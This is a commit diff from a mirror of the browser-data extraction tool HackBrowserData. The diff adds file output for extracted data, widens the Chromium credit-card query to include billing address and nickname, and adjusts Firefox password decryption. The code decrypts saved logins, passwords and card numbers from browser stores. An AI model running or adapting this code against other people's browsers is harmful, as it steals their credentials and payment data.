mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-05-19 18:58:03 +02:00
refactor: output browsing data package
This commit is contained in:
@@ -1,10 +1,13 @@
|
||||
package browingdata
|
||||
|
||||
import (
|
||||
"path"
|
||||
"time"
|
||||
|
||||
"hack-browser-data/internal/item"
|
||||
"hack-browser-data/internal/log"
|
||||
"hack-browser-data/internal/outputter"
|
||||
"hack-browser-data/internal/utils/fileutil"
|
||||
)
|
||||
|
||||
type Data struct {
|
||||
@@ -35,6 +38,24 @@ func (d *Data) Recovery(masterKey []byte) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Data) Output(dir, browserName, output string) {
|
||||
outputter := outputter.New(output)
|
||||
|
||||
for _, source := range d.Sources {
|
||||
|
||||
filename := fileutil.Filename(browserName, source.Name(), outputter.Ext())
|
||||
|
||||
f, err := outputter.CreateFile(dir, filename)
|
||||
if err != nil {
|
||||
log.Error(err)
|
||||
}
|
||||
if err := outputter.Write(source, f); err != nil {
|
||||
log.Error(err)
|
||||
}
|
||||
log.Noticef("output to file %s success", path.Join(dir, filename))
|
||||
}
|
||||
}
|
||||
|
||||
func (d *Data) addSource(Sources []item.Item) {
|
||||
for _, source := range Sources {
|
||||
switch source {
|
||||
@@ -69,7 +90,7 @@ func (d *Data) addSource(Sources []item.Item) {
|
||||
}
|
||||
|
||||
const (
|
||||
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
|
||||
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id, nickname FROM credit_cards`
|
||||
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
|
||||
queryYandexLogin = `SELECT action_url, username_value, password_value, date_created FROM logins`
|
||||
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
|
||||
@@ -126,5 +147,7 @@ type (
|
||||
ExpirationYear string
|
||||
ExpirationMonth string
|
||||
CardNumber string
|
||||
Address string
|
||||
NickName string
|
||||
}
|
||||
)
|
||||
|
||||
@@ -27,17 +27,19 @@ func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var (
|
||||
name, month, year, guid string
|
||||
value, encryptValue []byte
|
||||
name, month, year, guid, address, nickname string
|
||||
value, encryptValue []byte
|
||||
)
|
||||
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue); err != nil {
|
||||
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
|
||||
log.Warn(err)
|
||||
}
|
||||
creditCardInfo := card{
|
||||
ccInfo := card{
|
||||
GUID: guid,
|
||||
Name: name,
|
||||
ExpirationMonth: month,
|
||||
ExpirationYear: year,
|
||||
Address: address,
|
||||
NickName: nickname,
|
||||
}
|
||||
if masterKey == nil {
|
||||
value, err = decrypter.DPApi(encryptValue)
|
||||
@@ -50,8 +52,8 @@ func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
|
||||
return err
|
||||
}
|
||||
}
|
||||
creditCardInfo.CardNumber = string(value)
|
||||
*c = append(*c, creditCardInfo)
|
||||
ccInfo.CardNumber = string(value)
|
||||
*c = append(*c, ccInfo)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -189,8 +189,8 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
|
||||
}
|
||||
*f = append(*f, loginData{
|
||||
LoginUrl: v.LoginUrl,
|
||||
UserName: string(decrypter.PKCS5UnPadding(user)),
|
||||
Password: string(decrypter.PKCS5UnPadding(pwd)),
|
||||
UserName: string(user),
|
||||
Password: string(pwd),
|
||||
CreateDate: v.CreateDate,
|
||||
})
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user